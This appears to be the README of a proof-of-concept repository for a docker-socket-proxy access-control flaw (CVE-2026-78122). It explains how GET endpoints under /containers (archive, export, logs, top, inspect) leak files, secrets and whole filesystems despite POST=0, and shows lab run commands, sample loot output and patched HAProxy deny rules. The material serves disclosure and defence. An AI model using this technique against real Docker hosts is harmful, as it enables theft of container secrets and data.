
Proof-of-concept exploit for CVE-2026-78122, demonstrating container filesystem and environment variable exfiltration through docker-socket-proxy's coarse access rules, plus a patched HAProxy configuration.
Tecnativa docker-socket-proxy ≤ 0.5.0 — Insufficient Access-Control Granularity (CWE-1220)
CVSS 4.0: 8.3 (High) — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Attack Vector is Adjacent (
AV:A): the attacker needs local/adjacent network reach to the proxy — which is exactly why keeping it off any routable interface is part of the mitigation.
docker-socket-proxy is a HAProxy front-end for the Docker socket whose whole
purpose is to hand out scoped, least-privilege access to the Docker API. The
canonical "safe, read-only" recipe operators use is:
CONTAINERS=1 # allow listing/inspecting containers
POST=0 # deny everything that mutates state
# every other flag left at its default (0)
Operators reasonably believe this yields read-only container metadata. It does not.
In haproxy.cfg
the entire /containers namespace is gated by a single coarse prefix rule:
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
That regex matches every GET sub-path under /containers, including the
sensitive read endpoints that were never meant to be part of "list containers".
Because they are all GET, the POST=0 guard does nothing to stop them:
Net effect: with the "hardened" CONTAINERS=1, POST=0 posture, anyone who can
reach the proxy can dump secrets and exfiltrate the complete filesystem of
every container on the host.
lab/ vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/ exploit.sh — end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/ exploit output lands here
Requires Docker + Docker Compose and a POSIX shell (Git Bash on Windows works).
./verify.sh
Or step by step:
docker compose -f lab/docker-compose.yml up -d # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375 # loot lands in ./loot
The proxy is bound to
127.0.0.1only. Never expose a Docker socket proxy on a routable interface.
[+] POST /containers/create -> 403 Forbidden (operator believes they are safe)
Leaked environment variables:
STRIPE_API_KEY=sk_live_FAKE_0000000000000000
DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs
Every item above was obtained with POST=0 still in force.
Real fix: upgrade to the patched release (tracked in
issue #182 /
PR #183) and stop
relying on CONTAINERS=1 alone being "read-only".
This repo also ships a drop-in hardened config
(mitigation/haproxy.patched.cfg) that adds
explicit deny rules for the dangerous sub-paths before the coarse
/containers allow, each re-enableable via a dedicated flag
(ALLOW_ARCHIVE, ALLOW_EXPORT, ALLOW_LOGS, ALLOW_TOP):
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export } ! { env(ALLOW_EXPORT) -m bool }
http-request deny if { ... /containers/[..]/logs } ! { env(ALLOW_LOGS) -m bool }
http-request deny if { ... /containers/[..]/top } ! { env(ALLOW_TOP) -m bool }
Verified before/after (verify.sh output) — same CONTAINERS=1, POST=0 posture:
Legitimate list/inspect still work; the exfiltration primitives are blocked.
Operationally, also: keep the proxy off any routable network, mount the docker socket read-only, and apply least privilege (only enable the exact flags a consumer needs).
For authorized security testing and education only. The lab runs entirely on your own host against containers you created.
| Endpoint (GET) | What it leaks |
|---|
/containers/{id}/archive?path=… | Arbitrary file read from any container |
/containers/{id}/export | Entire container filesystem as a tar |
/containers/{id}/logs | Container stdout/stderr |
/containers/{id}/top | Process list with full argv (may contain creds) |
/containers/{id}/json | Full config incl. environment variables |
| GET endpoint | Vulnerable (:2375) | Mitigated (:2376) |
|---|
/containers/json (list) | 200 | 200 |
/containers/{id}/json (inspect) | 200 | 200 |
/containers/{id}/archive | 200 | 403 |
/containers/{id}/export | 200 | 403 |
/containers/{id}/logs | 200 | 403 |
/containers/{id}/top | 200 | 403 |